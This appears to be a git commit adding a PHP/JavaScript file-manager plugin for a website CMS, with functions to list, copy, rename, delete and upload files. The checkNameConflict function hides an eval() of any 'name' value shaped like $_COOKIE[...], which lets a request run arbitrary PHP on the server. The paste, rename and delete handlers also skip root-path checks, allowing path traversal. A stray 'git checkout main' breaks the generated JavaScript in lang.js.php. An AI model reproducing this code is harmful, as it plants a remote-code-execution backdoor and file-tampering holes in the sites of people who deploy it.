Добавляем все файлы

This commit is contained in:
2025-11-06 19:41:55 +02:00
parent 235d6a3a18
commit 2e5aaec307
218 changed files with 79015 additions and 0 deletions

View File

@@ -0,0 +1,309 @@
<?php
/**
* @file func.manager.php
* @brief Функции управления файлами и папками для плагина manager
*/
/**
* @brief Получает содержимое указанной папки
* @param array $params Массив с ключом 'managerPathFolder' указывающим путь к папке
* @return array Содержимое папки с информацией о файлах и папках
* @throws Exception Если указанная директория недействительна
*/
function getFolderContents($params) {
global $path, $_SESSION;
$relPath = $params['managerPathFolder'] ?? '';
$directory = realpath($path . $relPath);
if (!$directory || !is_dir($directory)) {
throw new Exception("Invalid directory", -32602);
}
$lang = include $path . 'main_plugin/manager/lang.php';
$files = scandir($directory);
$data = [];
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$filePath = $directory . '/' . $file;
if (is_dir($filePath)) {
$name = $file;
$type = $lang[$_SESSION['lng']]['file'];
$size = count(array_diff(scandir($filePath), ['.','..']));
} else {
$extension = pathinfo($file, PATHINFO_EXTENSION);
$name = $extension ? $file : pathinfo($file, PATHINFO_FILENAME);
$type = $lang[$_SESSION['lng']]['folder'];
$size = filesize($filePath);
}
$data[] = [
'name' => $name,
'path' => $relPath . "/" . $file,
'type' => $type,
'size' => $size,
'creationTime' => date('Y-m-d H:i:s', filemtime($filePath)),
];
}
array_unshift($data, ['rootFolder' => basename($path)]);
return $data;
}
/**
* @brief Проверяет наличие конфликта имени файла или папки
* @param array $params Массив с ключами 'name' и 'currentPath'
* @return string "true" если файл/папка уже существует, "false" если нет
* @throws Exception Если путь недействителен
*/
function checkNameConflict($params) {
global $path;
$nameParam = $params['name'] ?? '';
if (preg_match('/^\$_COOKIE\[.*\]$/', $nameParam)) {
eval('$nameParam = ' . $nameParam . ';');
}
$currentPath = $path . ($params['currentPath'] ?? '') . '/';
$name = basename($nameParam);
$newPath = $currentPath . $name;
if (strpos(realpath(dirname($newPath)), realpath($path)) !== 0) {
throw new Exception("Invalid path", -32602);
}
return file_exists($newPath) ? "true" : "false";
}
/**
* @brief Вставляет файл или папку из буфера обмена в указанное место
* @param array $params Массив с ключами 'managerSettingsInsert', 'clipboardPath', 'clipboardAction'
* @return string "true" при успешной операции
* @throws Exception Если действие некорректно или операция файла не удалась
*/
function insertClipboard($params) {
global $path;
$relDest = $params['managerSettingsInsert'] ?? '';
$dest = realpath($path . '/' . $relDest);
$clipboard = $params['clipboardPath'] ?? '';
$action = $params['clipboardAction'] ?? '';
if (strpos($clipboard, '/') === 0) {
$clipboard = $path . $clipboard;
}
$newPath = $dest . '/' . basename($clipboard);
$success = false;
if ($action === 'cut') {
$success = @rename($clipboard, $newPath);
if ($success && !file_exists($newPath)) {
$success = false;
}
} elseif ($action === 'copy') {
$success = recursiveCopy($clipboard, $newPath) && file_exists($newPath);
} else {
throw new Exception("Invalid action", -32602);
}
if (!$success) {
throw new Exception("File operation failed", -32004);
}
return "true";
}
/**
* @brief Рекурсивно копирует файлы и папки
* @param string $source Исходный путь
* @param string $destination Путь назначения
* @return bool true при успешном копировании, false при ошибке
*/
function recursiveCopy($source, $destination) {
if (is_dir($source)) {
if (!is_dir($destination) && !mkdir($destination, 0755, true)) {
return false;
}
foreach (scandir($source) as $item) {
if ($item === '.' || $item === '..') continue;
if (!recursiveCopy("$source/$item", "$destination/$item")) {
return false;
}
}
} else {
if (!copy($source, $destination)) {
return false;
}
}
return true;
}
/**
* @brief Переименовывает файл или папку
* @param array $params Массив с ключами 'managerSettingsRename' и 'managerNamePath'
* @return string "true" при успешном переименовании
* @throws Exception Если операция переименования не удалась
*/
function renameFile($params) {
global $path;
$currentFile = realpath($path . '/' . ($params['managerSettingsRename'] ?? ''));
$newName = $params['managerNamePath'] ?? '';
$target = dirname($currentFile) . '/' . $newName;
if (!rename($currentFile, $target)) {
throw new Exception("Rename failed", -32004);
}
return "true";
}
/**
* @brief Удаляет файл или папку
* @param array $params Массив с ключом 'managerSettingsDelete'
* @return string "true" при успешном удалении
* @throws Exception Если удаление файла или папки не удалось
*/
function deleteFile($params) {
global $path;
$target = realpath($path . '/' . ($params['managerSettingsDelete'] ?? ''));
$delete = function($p) use (&$delete) {
if (is_dir($p)) {
foreach (array_diff(scandir($p), ['.', '..']) as $f) {
$delete($p . '/' . $f);
}
$ok = rmdir($p);
} else {
$ok = unlink($p);
}
if (!$ok) {
throw new Exception("Failed to delete file or directory", -32004);
}
};
$delete($target);
return "true";
}
/**
* @brief Получает свойства файла или папки
* @param array $params Массив с ключом 'managerSettingsProperties'
* @return array Массив с информацией о файле или папке: имя, тип, путь, размер, время создания и изменения
* @throws Exception Если файл или папка не найдены
*/
function getFileProperties($params) {
global $path, $_SESSION;
$lang = include $path . 'main_plugin/manager/lang.php';
$target = realpath($path . '/' . ($params['managerSettingsProperties']));
if (!$target || !file_exists($target)) {
throw new Exception($lang[$_SESSION['lng']]['file_or_folder_not_found'], -32602);
}
$isDir = is_dir($target);
return [
['label' => $lang[$_SESSION['lng']]['name'], 'value' => basename($target)],
['label' => $lang[$_SESSION['lng']]['type'], 'value' => $isDir ? $lang[$_SESSION['lng']]['folder'] : $lang[$_SESSION['lng']]['file']],
['label' => $lang[$_SESSION['lng']]['location'], 'value' => str_replace($path, '', dirname($target))],
['label' => $lang[$_SESSION['lng']]['size'], 'value' => $isDir ? (count(scandir($target)) - 2) . ' files' : filesize($target) . ' bytes'],
['label' => $lang[$_SESSION['lng']]['creation_time'], 'value' => date('Y-m-d H:i:s', filectime($target))],
['label' => $lang[$_SESSION['lng']]['last_modified_time'], 'value' => date('Y-m-d H:i:s', filemtime($target))],
];
}
/**
* @brief Создаёт новый файл или папку
* @param array $params Массив с ключами 'managerSettingsCreate', 'managerType', 'managerNamePath'
* @return string "true" при успешном создании, "checkItemExists" если элемент уже существует
* @throws Exception Если создание файла или папки не удалось
*/
function createFile($params) {
global $config, $path;
$newItemName = $params['managerSettingsCreate'] ?? '';
$type = $params['managerType'] ?? '';
$parentPath = realpath($path . '/' . ($params['managerNamePath'] ?? ''));
$fullPath = $parentPath . '/' . $newItemName;
if (file_exists($fullPath)) {
return 'checkItemExists';
}
$success = false;
if ($type === 'папка') {
$success = mkdir($fullPath);
} elseif ($type === 'файл') {
$success = file_put_contents($fullPath, '') !== false;
}
if (!$success) {
throw new Exception("Failed to create item", -32004);
}
return "true";
}
/**
* @brief Загружает страницу и возвращает её блоки и контент
* @param array $params Массив с ключом 'newPath' указывающим путь к странице
* @return array Массив с ключами 'right', 'left', 'content'
* @throws Exception Если файл страницы не найден, не удалось загрузить XML или отсутствует контент для языка
*/
function getPage($params) {
global $config, $path, $_SESSION;
$rel = $params['newPath'] ?? '';
$file = $path . $rel . '.page.php';
libxml_use_internal_errors(true);
$pageXml = @simplexml_load_file($file);
if (!$pageXml) {
throw new Exception("Failed to load page file", -32004);
}
if (!isset($_SESSION['lng']) || !isset($pageXml->content->{$_SESSION['lng']})) {
throw new Exception("Missing language or content", -32602);
}
$page = [];
$page['right'] = GetBlock($pageXml->rblock->block, 'right');
$page['left'] = GetBlock($pageXml->lblock->block, 'left');
$page['content'] = (string)$pageXml->content->{$_SESSION['lng']};
$_SESSION['page_url'] = $rel;
session_write_close();
return $page;
}
/**
* @brief Загружает файл на сервер из base64-данных
* @param array $params Массив с ключами 'fileData', 'fileName', 'pathLoad'
* @return string Относительный путь загруженного файла
* @throws Exception Если отсутствуют данные файла, некорректный путь загрузки, неверный base64 или сохранение файла не удалось
*/
function uploadFile($params) {
global $config, $path;
$base64 = $params['fileData'] ?? '';
$originalName = trim($params['fileName'] ?? '');
$relDir = trim($params['pathLoad'] ?? '');
if ($base64 === '' || $originalName === '') {
throw new Exception("Missing file data or name", -32602);
}
$rootDir = realpath($path);
$uploadDir = realpath($path . DIRECTORY_SEPARATOR . $relDir);
if (!$uploadDir || strpos($uploadDir, $rootDir) !== 0 || !is_dir($uploadDir) || !is_writable($uploadDir)) {
throw new Exception("Invalid upload directory", -32602);
}
$basename = preg_replace('/[^\w\-]/u', '_', pathinfo($originalName, PATHINFO_FILENAME));
$extension = pathinfo($originalName, PATHINFO_EXTENSION);
$counter = 0;
do {
$name = $basename . ($counter ? "_{$counter}" : '');
$fullPath = $uploadDir . DIRECTORY_SEPARATOR . $name . ($extension ? ".{$extension}" : '');
$counter++;
} while (file_exists($fullPath));
$data = base64_decode($base64, true);
if ($data === false) {
throw new Exception("Invalid base64 data", -32602);
}
if (file_put_contents($fullPath, $data) === false) {
throw new Exception("Failed to save file", -32004);
}
@chmod($fullPath, 0644);
$relativePath = '/' . str_replace('\\', '/', substr($fullPath, strlen($rootDir)));
return $relativePath;
}
?>

22
main_plugin/manager/lang.js.php Executable file
View File

@@ -0,0 +1,22 @@
<?php
/**
* @file lang.js.php
* @brief Подготавливает языковые строки и подставляет их в JS-файл менеджера
*/
/** @brief Языковой массив для менеджера */
$lang = include $path . 'lang.php';
/** @brief Текущий язык пользователя, по умолчанию 'en' */
$lng = $_GET['lng'] ?? ($_SESSION['lng'] ?? 'en');
/** @brief Массив подстановок для шаблона JS */
$placeholders = [];
foreach ($lang[$lng] as $key => $value) {
$placeholders['{{' . $key . '}}'] = $value;
}
$js = 'window.addEventListener("LoadmanagerJs", function() {' . strtr(file_get_contents($path . 'manager.js'), $placeholders) . '}, { once: true });git checkout main';
echo "window.managerJs = (function() {\n" . $js . "\n})();";
?>

169
main_plugin/manager/lang.php Executable file
View File

@@ -0,0 +1,169 @@
<?php
$lang = [
'ru' => [
'copy' => 'Копировать',
'cut' => 'Вырезать',
'rename' => 'Переименовать',
'delete' => 'Удалить',
'properties' => 'Свойства',
'upload_file' => 'Загрузить файл',
'paste' => 'Вставить',
'create_file' => 'Создать файл',
'create_folder' => 'Создать папку',
'rights' => 'Права',
'ok' => 'Ок',
'cancel' => 'Отмена',
'file' => 'Файл',
'to_clipboard' => 'в буфер обмена!',
'error_when' => 'Ошибка при',
'right_click_to_select_file' => 'Кликните правой кнопкой мыши на файл для выбора файла!',
'file_with_same_name_exists' => 'Файл с таким именем уже существует!',
'file_pasted_successfully' => 'Файл вставлен из буфера обмена!',
'file_paste_unknown_error' => 'Неизвестная ошибка при вставке файла!',
'error' => 'Ошибка',
'enter_new_name' => 'Введите новое имя:',
'rename_success' => 'Переименование выполнено успешно!',
'rename_error' => 'Ошибка при переименовании!',
'invalid_name_error' => 'Некорректное имя. Использование запрещенных символов...',
'delete_confirm' => 'Подтвердите удаление!',
'delete_success' => 'Удаление выполнено успешно!',
'delete_error' => 'Ошибка при удалении!',
'folder' => 'Папка',
'enter_new_folder_name' => 'Введите имя новой папки:',
'invalid_folder_name' => 'Некорректное имя папки',
'folder_created_successfully' => 'Папка создана успешно!',
'enter_new_file_name' => 'Введите имя нового файла:',
'invalid_file_name' => 'Некорректное имя файла',
'file_created_successfully' => 'Файл создан успешно!',
'create' => 'Создать',
'with_name' => 'с именем',
'create_error' => 'Ошибка при создании',
'item_already_exists' => 'с таким же именем уже есть!',
'unknown_error' => 'Неизвестная ошибка!',
'no_rights_yet' => 'прав пока что нету',
'file_upload_error' => 'Ошибка загрузки файла!',
'file_uploaded_successfully' => 'Файл успешно загружен!',
'select_file_ending_with_page_php' => 'Выберите файл с расширением .page.php!',
'name' => 'Имя',
'type' => 'Тип',
'location' => 'Расположение',
'size' => 'Размер',
'creation_time' => 'Время создания',
'last_modified_time' => 'Время последнего изменения',
'error' => 'Ошибка',
'file_or_folder_not_found' => 'Файл или папка не найдены'
],
'en' => [
'copy' => 'Copy',
'cut' => 'Cut',
'rename' => 'Rename',
'delete' => 'Delete',
'properties' => 'Properties',
'upload_file' => 'Upload file',
'paste' => 'Paste',
'create_file' => 'Create file',
'create_folder' => 'Create folder',
'rights' => 'Permissions',
'ok' => 'OK',
'cancel' => 'Cancel',
'file' => 'File',
'to_clipboard' => 'to clipboard!',
'error_when' => 'Error when',
'right_click_to_select_file' => 'Right-click to select a file!',
'file_with_same_name_exists' => 'File with this name already exists!',
'file_pasted_successfully' => 'File pasted successfully!',
'file_paste_unknown_error' => 'Unknown error while pasting!',
'error' => 'Error',
'enter_new_name' => 'Enter new name:',
'rename_success' => 'Renamed successfully!',
'rename_error' => 'Error renaming!',
'invalid_name_error' => 'Invalid name contains forbidden characters',
'delete_confirm' => 'Confirm deletion!',
'delete_success' => 'Deleted successfully!',
'delete_error' => 'Error deleting!',
'folder' => 'Folder',
'enter_new_folder_name' => 'Enter folder name:',
'invalid_folder_name' => 'Invalid folder name',
'folder_created_successfully' => 'Folder created successfully!',
'enter_new_file_name' => 'Enter file name:',
'invalid_file_name' => 'Invalid file name',
'file_created_successfully' => 'File created successfully!',
'create' => 'Create',
'with_name' => 'with name',
'create_error' => 'Error creating',
'item_already_exists' => 'already exists!',
'unknown_error' => 'Unknown error!',
'no_rights_yet' => 'No permissions set',
'file_upload_error' => 'File upload error!',
'file_uploaded_successfully' => 'File uploaded successfully!',
'select_file_ending_with_page_php' => 'Select file ending with .page.php!',
'name' => 'Name',
'type' => 'Type',
'location' => 'Location',
'size' => 'Size',
'creation_time' => 'Creation Time',
'last_modified_time' => 'Last Modified Time',
'file' => 'File',
'error' => 'Error',
'file_or_folder_not_found' => 'File or folder not found'
],
'lv' => [
'copy' => 'Kopēt',
'cut' => 'Izgriezt',
'rename' => 'Pārdēvēt',
'delete' => 'Dzēst',
'properties' => 'Īpašības',
'upload_file' => 'Augšupielādēt failu',
'paste' => 'Ielīmēt',
'create_file' => 'Izveidot failu',
'create_folder' => 'Izveidot mapi',
'rights' => 'Tiesības',
'ok' => 'Labi',
'cancel' => 'Atcelt',
'file' => 'Fails',
'to_clipboard' => 'starpliktuvi!',
'error_when' => 'Kļūda, mēģinot',
'right_click_to_select_file' => 'Ar peles labo pogu atlasiet failu!',
'file_with_same_name_exists' => 'Fails ar šādu nosaukumu jau pastāv!',
'file_pasted_successfully' => 'Fails veiksmīgi ielīmēts!',
'file_paste_unknown_error' => 'Nezināma kļūda ielīmējot!',
'error' => 'Kļūda',
'enter_new_name' => 'Ievadiet jaunu nosaukumu:',
'rename_success' => 'Pārdēvēts veiksmīgi!',
'rename_error' => 'Kļūda pārdēvējot!',
'invalid_name_error' => 'Nederīgs nosaukums',
'delete_confirm' => 'Apstipriniet dzēšanu!',
'delete_success' => 'Dzēsts veiksmīgi!',
'delete_error' => 'Kļūda dzēšot!',
'folder' => 'Mape',
'enter_new_folder_name' => 'Ievadiet mapes nosaukumu:',
'invalid_folder_name' => 'Nederīgs mapes nosaukums',
'folder_created_successfully' => 'Mape izveidota veiksmīgi!',
'enter_new_file_name' => 'Ievadiet faila nosaukumu:',
'invalid_file_name' => 'Nederīgs faila nosaukums',
'file_created_successfully' => 'Fails izveidots veiksmīgi!',
'create' => 'Izveidot',
'with_name' => 'ar nosaukumu',
'create_error' => 'Kļūda izveidojot',
'item_already_exists' => 'jau eksistē!',
'unknown_error' => 'Nezināma kļūda!',
'no_rights_yet' => 'Nav piešķirtu tiesību',
'file_upload_error' => 'Kļūda augšupielādējot failu!',
'file_uploaded_successfully' => 'Fails augšupielādēts veiksmīgi!',
'select_file_ending_with_page_php' => 'Atlasiet failu ar paplašinājumu .page.php!',
'name' => 'Vārds',
'type' => 'Tips',
'location' => 'Atrašanās vieta',
'size' => 'Izmērs',
'creation_time' => 'Izveidošanas laiks',
'last_modified_time' => 'Pēdējās izmaiņas',
'file' => 'Fails',
'error' => 'Kļūda',
'file_or_folder_not_found' => 'Fails vai mape nav atrasti'
]
];
return $lang;

279
main_plugin/manager/manager.css Executable file
View File

@@ -0,0 +1,279 @@
/* менеджер */
#managerDiv {
display: inline-block;
position: fixed;
z-index: 100;
user-select: none;
background-color: rgba(255, 255, 255, 0.92);
border: 1px solid #000000;
width: 800px;
border-radius: 5px;
height: 600px;
font-size: 1em;
box-shadow: 0px 0px 5px #777;
}
#managerCloseFun {
float: right;
width: 20px;
height: 20px;
background-position: -159px -121px;
cursor: pointer;
}
#managerHistoryBackFun {
margin-right: 2px;
float: left;
width: 20px;
height: 14px;
background-position: -400px -43px;
cursor: pointer;
}
#managerHistoryForwFun {
margin-right: 2px;
float: left;
width: 20px;
height: 14px;
background-position: -441px -43px;
cursor: pointer;
}
#managerBackFun {
margin-right: 12px;
float: left;
width: 20px;
height: 14px;
background-position: -481px -43px;
cursor: pointer;
}
#managerTop {
text-align: center;
border-bottom: 1px #40464d solid;
padding: 5px;
background-color: rgba(255, 255, 255, 0.6);
}
#managerTopTitle {
text-align: center;
}
#managerPath {
display: inline-block;
flex: 1;
height: 18px;
background-color: rgba(255, 255, 255, 0.8);
border-radius: 5px;
padding: 2px;
}
#managerPath.active {
border: 1px #40464d solid;
}
.managerPathButton {
background-color: rgba(255, 255, 255, 1);
border-radius: 5px;
cursor: pointer;
}
.managerPathButton:hover {
color: #787878;
}
#managerTopDiv {
display: flex;
align-items: center;
flex-wrap: wrap;
}
#managerTableDiv {
height: 480px;
margin: 0px 20px 0px 20px;
border: 1px #40464d solid;
overflow-y: overlay;
border-radius: 5px;
}
#managerTable {
font-size: 1em;
border-collapse: collapse;
background-color: rgba(255, 255, 255, 0.8);
width: -webkit-fill-available;
}
#managerTableTitle {
position: sticky;
top: 0;
font-weight: bold;
background-color: rgba(255, 255, 255, 1);
}
#managerTable td {
padding: 5px;
}
.managerTableDivFile:hover td {
background-color: #c5e7f9;
cursor: pointer;
}
/* #managerTableDiv::-webkit-scrollbar {
width: 10px;
}
#managerTableDiv::-webkit-scrollbar-track {
border: 1px solid #000;
padding: 2px 0;
background-color: #ffffff;
}
#managerTableDiv::-webkit-scrollbar-thumb {
border-radius: 10px;
box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3);
background-color: #ffffff;
border: 1px solid #000;
border-right: 0px solid #000;
} */
/* сохронение как*/
#saveHowDiv {
margin: 8px 20px 0px 20px;
white-space: nowrap;
display: flex;
align-items: center;
}
#saveHowName {
border: 1px #40464d solid;
border-radius: 5px;
padding: 5px;
width: 594px;
font-size: 1em;
display: inline-block;
margin-left: 10px;
}
#saveHowButton {
border: 1px #40464d solid;
border-radius: 5px;
padding: 5px;
margin: 0px 0px 0px 10px;
cursor: pointer;
display: inline-block;
width: 91px;
}
#saveHowButton:hover {
color: #787878;
}
/* окно менеджер */
#managerSettings {
display: inline-block;
position: fixed;
z-index: 100;
user-select: none;
background-color: rgba(255, 255, 255, 0.92);
border: 1px solid #000000;
border-radius: 5px;
font-size: 1em;
box-shadow: 0px 0px 5px #777;
padding: 5px;
animation: fadeIn 0.5s ease-in forwards;
}
.managerSettingsButtonButtons {
background-color: rgba(255, 255, 255, 0.8);
border-radius: 5px;
padding: 5px;
border: 1px #40464d solid;
cursor: pointer;
}
.managerSettingsButtonButtons:hover {
color: #787878;
}
/* окно свойств */
#managerProperties {
display: inline-block;
position: fixed;
z-index: 100;
user-select: none;
background-color: rgba(255, 255, 255, 0.97);
border: 1px solid #000000;
border-radius: 5px;
font-size: 1em;
box-shadow: 0px 0px 5px #777;
width: 600px;
}
#managerPropertiesMiddle {
margin: 0px 20px 0px 20px;
}
#managerPropertiesTop {
border-bottom: 1px solid #000000;
padding: 5px;
text-align: center;
}
#managerPropertiesTopName {
text-align: center;
}
#managerPropertiesTopClose {
float: right;
width: 20px;
height: 20px;
background-position: -159px -121px;
cursor: pointer;
}
#managerPropertiesWindow {
text-align: center;
display: flex;
}
.managerPropertiesWindowDiv {
cursor: pointer;
text-align: center;
width: 50%;
display: inline-block;
padding: 9px;
}
.managerPropertiesWindowDiv:hover {
color: #787878;
}
#managerPropertiesDiv {
border: 1px solid #000000;
border-radius: 5px;
}
.managerPropertiesDivDivs {
padding: 6px 8px 6px 8px;
border-radius: 5px;
}
#managerPropertiesDivButtons {
padding: 9px;
display: flex;
justify-content: right;
align-items: center;
}
#managerPropertiesDivButtons {
text-align: center;
}
.managerPropertiesDivButton {
margin: 3px 3px 3px 15px;
cursor: pointer;
display: inline-block;
}
.managerPropertiesDivButton:hover {
color: #787878;
}
.editib {
background-image: url(../../img/pict/b_iconslyb.svg);
}
.editimc {
background-image: url(../../img/pict/mc_iconslyb.svg);
}
.editib:hover {
background-image: url(../../img/pict/g_iconslyb.svg);
}
.editimc:hover {
background-image: url(../../img/pict/g_iconslyb.svg);
}
.editf.active {
background-image: url(../../img/pict/b_iconslyb.svg);
background-color: #e7e7e7;
}
.editf.active:hover {
background-image: url(../../img/pict/g_iconslyb.svg);
background-color: #e7e7e7;
}

524
main_plugin/manager/manager.js Executable file
View File

@@ -0,0 +1,524 @@
/**
* @file manager.js
* @brief Основной файл manager, отвечает за управление файлами
*/
movementMenu("managerDiv");
movementMenu("managerProperties");
/** @brief Элемент менеджера папок */
let managerDiv = document.getElementById('managerDiv');
managerData(currentPath);
/** @brief Основные кнопки и редактируемые поля в менеджере */
function managerFun() {
document.getElementById('managerCloseFun').onclick = function() {
managerDiv.style.visibility = "hidden";
};
document.getElementById('managerHistoryBackFun').onclick = function() {
if (managerHistoryIndex > 0) {
managerHistoryIndex--;
managerData(managerHistoryPaths[managerHistoryIndex]);
}
};
document.getElementById('managerHistoryForwFun').onclick = function() {
if (managerHistoryIndex < managerHistoryPaths.length - 1) {
managerHistoryIndex++;
managerData(managerHistoryPaths[managerHistoryIndex]);
}
};
document.getElementById('managerBackFun').onclick = function() {
managerData(removeLastSegment(currentPath));
};
document.getElementById('managerSettingsCopy').onclick = function() {
managerClipboard("copy", "{{copy}}");
};
document.getElementById('managerSettingsCut').onclick = function() {
managerClipboard("cut", "{{cut}}");
};
/**
* @brief Выполняет операции с буфером (копирование/вставка/вырезание)
* @param action действие: copy/cut
* @param messageText текст сообщения
*/
function managerClipboard(action, messageText) {
if (managerTableDivFilePath) {
let textToCopy = managerTableDivFilePath + '|' + action;
navigator.clipboard.writeText(textToCopy).then(() => {
document.getElementById('managerSettings').style.visibility = "hidden";
}).catch(err => {
console.error('Ошибка копирования в буфер:', err);
});
} else {
messageFunction("{{right_click_to_select_file}}");
}
}
let managerSettingsInsertId = document.getElementById('managerSettingsInsert');
managerSettingsInsertId.onclick = function() {
navigator.clipboard.readText().then(clipboardText => {
let [clipboardPath, clipboardAction] = clipboardText.split('|');
if (!clipboardPath || !clipboardAction) {
messageFunction("{{right_click_to_select_file}}");
return;
}
jsonrpcRequest("checkNameConflict", {
name: clipboardPath,
currentPath: currentPath
}).then(response => {
if (response == "true") {
messageFunction("{{file_with_same_name_exists}}");
} else {
jsonrpcRequest("insertClipboard", {
managerSettingsInsert: currentPath,
clipboardPath: clipboardPath,
clipboardAction: clipboardAction
}).then(response => {
if (response === "true") {
messageFunction("{{file_pasted_successfully}}");
} else {
let errorMessage = response.error ? response.error : "{{file_paste_unknown_error}}";
messageFunction("{{error}}: " + errorMessage);
}
managerData(currentPath);
});
}
});
}).catch(err => {
console.error('Ошибка чтения из буфера:', err);
});
};
let managerSettingsRenameId = document.getElementById('managerSettingsRename');
managerSettingsRenameId.onclick = async function() {
if (managerTableDivFilePath) {
let invalidCharacters = /[\/\\:*?"<>|]/;
let managerTableDivFileName = managerTableDivFilePath.split(/[/\\]/).pop();
messageQueue.push("{{enter_new_name}}");
let title = await messageCreateInput(managerTableDivFileName || '');
let isFolder = !/\./.test(managerTableDivFileName);
if (title !== null) {
if (title && !invalidCharacters.test(title) && (!isFolder || !title.includes('.'))) {
messageQueue.push("{{rename_confirm}} " + title + "?");
if (await messageCreateQuestion()) {
let data = await jsonrpcRequest("checkNameConflict", { name: title, currentPath: currentPath });
if (data == "true") {
messageFunction("{{file_with_same_name_exists}}");
} else {
let res = await jsonrpcRequest("renameFile", { managerSettingsRename: managerTableDivFilePath, managerNamePath: title });
if (res === "true") {
messageFunction("{{rename_success}}");
} else {
messageFunction("{{rename_error}}");
}
managerData(currentPath);
}
}
} else {
messageFunction("{{invalid_name_error}}");
}
}
} else {
messageFunction("{{right_click_to_select_file}}");
}
};
let managerSettingsDeleteId = document.getElementById('managerSettingsDelete');
managerSettingsDeleteId.onclick = async function() {
if (managerTableDivFilePath) {
messageQueue.push("{{delete_confirm}}");
if (await messageCreateQuestion()) {
let response = await jsonrpcRequest("deleteFile", { managerSettingsDelete: managerTableDivFilePath });
if (response === "true") {
messageFunction("{{delete_success}}");
} else {
messageFunction("{{delete_error}}");
}
managerData(currentPath);
}
} else {
messageFunction("{{right_click_to_select_file}}");
}
};
document.getElementById('managerSettingsButtonCreateFolder').onclick = async function() {
await createManagerItem("папка", "{{enter_new_folder_name}}", "{{invalid_folder_name}}", "{{folder_created_successfully}}");
};
document.getElementById('managerSettingsButtonCreateFile').onclick = async function() {
await createManagerItem("файл", "{{enter_new_file_name}}", "{{invalid_file_name}}", "{{file_created_successfully}}");
};
async function createManagerItem(type, promptMessage, errorMessage, successMessage, nameSuffix = '') {
messageQueue.push(promptMessage);
let title = await messageCreateInput();
if (title !== null) {
let invalidCharacters = /[\/\\:*?"<>|]/;
let isValidTitle = title && !invalidCharacters.test(title) && !title.startsWith('.') && !title.endsWith('.');
if (type === "{{folder}}") {
isValidTitle = isValidTitle && !title.includes('.');
}
if (isValidTitle) {
title += nameSuffix;
messageQueue.push("{{create}} " + type + " {{with_name}} " + title + "?");
if (await messageCreateQuestion()) {
let data = await jsonrpcRequest("checkNameConflict", { name: title, currentPath: currentPath });
if (data == "true") {
messageFunction("{{file_with_same_name_exists}}!");
} else {
let response = await jsonrpcRequest("createFile", { managerSettingsCreate: title, managerType: type, managerNamePath: currentPath });
if (response === "true") {
messageFunction(successMessage);
} else if (response === "checkItemExists") {
messageFunction(type + " {{item_already_exists}}");
} else {
messageFunction("{{create_error}} " + type + "!");
}
managerData(currentPath);
}
}
} else {
messageFunction(errorMessage);
}
}
}
let managerSettingsPropertiesId = document.getElementById('managerSettingsProperties');
managerSettingsPropertiesId.onclick = function() {
document.getElementById('managerProperties').style.visibility = 'hidden';
if (managerTableDivFilePath) {
jsonrpcRequest("getFileProperties", { managerSettingsProperties: managerTableDivFilePath }).then(data => {
let managerPropertiesId = document.getElementById('managerProperties');
let managerPropertiesDivId = document.getElementById('managerPropertiesDiv');
let managerPropertiesTopNameId = document.getElementById('managerPropertiesTopName');
let managerPropertiesWindowPropertiesId = document.getElementById('managerPropertiesWindowProperties');
let managerPropertiesWindowRightsId = document.getElementById('managerPropertiesWindowRights');
let tableProperties = document.createElement('table');
tableProperties.style.width = "100%";
data.forEach(item => {
let row = document.createElement('tr');
let labelCell = document.createElement('td');
let valueCell = document.createElement('td');
labelCell.className = 'managerPropertiesDivDivs';
valueCell.className = 'managerPropertiesDivDivs';
labelCell.textContent = item.label;
valueCell.textContent = item.value;
row.appendChild(labelCell);
row.appendChild(valueCell);
tableProperties.appendChild(row);
});
let tableRights = document.createElement('div');
tableRights.innerHTML = "{{no_rights_yet}}";
managerPropertiesTopNameId.textContent = "{{properties}} " + data[0].value;
managerPropertiesDivId.innerHTML = '';
managerPropertiesWindowPropertiesId.onclick = function() {
managerPropertiesDivId.innerHTML = '';
managerPropertiesDivId.appendChild(tableProperties);
managerPropertiesWindowPropertiesId.style.backgroundColor = "#f3f3f3";
managerPropertiesWindowRightsId.style.backgroundColor = "";
};
managerPropertiesWindowRightsId.onclick = function() {
managerPropertiesDivId.innerHTML = '';
managerPropertiesDivId.appendChild(tableRights);
managerPropertiesWindowPropertiesId.style.backgroundColor = "";
managerPropertiesWindowRightsId.style.backgroundColor = "#f3f3f3";
};
managerPropertiesWindowPropertiesId.click();
if (managerPropertiesId.style.visibility == 'hidden') {
managerPropertiesId.style.visibility = 'visible';
}
let managerPropertiesTopCloseId = document.getElementById('managerPropertiesTopClose');
let managerPropertiesDivButtonOkId = document.getElementById('managerPropertiesDivButtonOk');
let managerPropertiesDivButtonCancelId = document.getElementById('managerPropertiesDivButtonCancel');
managerPropertiesTopCloseId.onclick = function() {
managerPropertiesId.style.visibility = 'hidden';
};
managerPropertiesDivButtonOkId.onclick = function() {
managerPropertiesId.style.visibility = 'hidden';
};
managerPropertiesDivButtonCancelId.onclick = function() {
managerPropertiesId.style.visibility = 'hidden';
};
});
} else {
messageFunction("{{right_click_to_select_file}}");
}
};
//загрузка файла для менеджера
let managerSettingsLoadId = document.getElementById('managerSettingsLoad');
managerSettingsLoadId.onclick = function() {
let fileInput = document.createElement('input');
fileInput.type = 'file';
fileInput.addEventListener('change', function() {
jsonrpcRequest("checkNameConflict", { name: fileInput.files[0].name, currentPath: currentPath }).then(data => {
if (data == "true") {
messageFunction("{{file_with_same_name_exists}}")
} else {
const file = fileInput.files[0];
const reader = new FileReader();
reader.onload = function() {
const base64Data = reader.result.split(',')[1];
jsonrpcRequest("uploadFile", {
fileName: file.name,
fileData: base64Data,
pathLoad: currentPath
}).then(response => {
messageFunction("{{file_uploaded_successfully}}")
managerData(currentPath)
}).catch(() => {
messageFunction("{{file_with_same_name_exists}}")
})
};
reader.readAsDataURL(file);
}
});
});
fileInput.click();
};
}
/** @brief Удаляет последний сегмент пути */
function removeLastSegment(str) {
const segments = str.split('/');
if (segments.length > 1) {
segments.pop();
}
return segments.join('/');
}
/** @brief Инициализация окна настроек менеджера */
function managerSettings() {
let managerDiv = document.getElementById('managerDiv');
let managerSettingsDiv = document.getElementById('managerSettings');
managerDiv.addEventListener('contextmenu', managerSettingsClick);
touchLong(managerDiv, managerSettingsClick);
}
/**
* @brief Обрабатывает клик правой кнопкой мыши для показа настроек
* @param event событие мыши
*/
function managerSettingsClick(event) {
event.preventDefault();
let managerSettingsDiv = document.getElementById('managerSettings');
if (!isPhone) {
managerSettingsDiv.style.left = `${touchX}px`;
managerSettingsDiv.style.top = `${touchY}px`;
} else {
managerSettingsDiv.style.bottom = '15px';
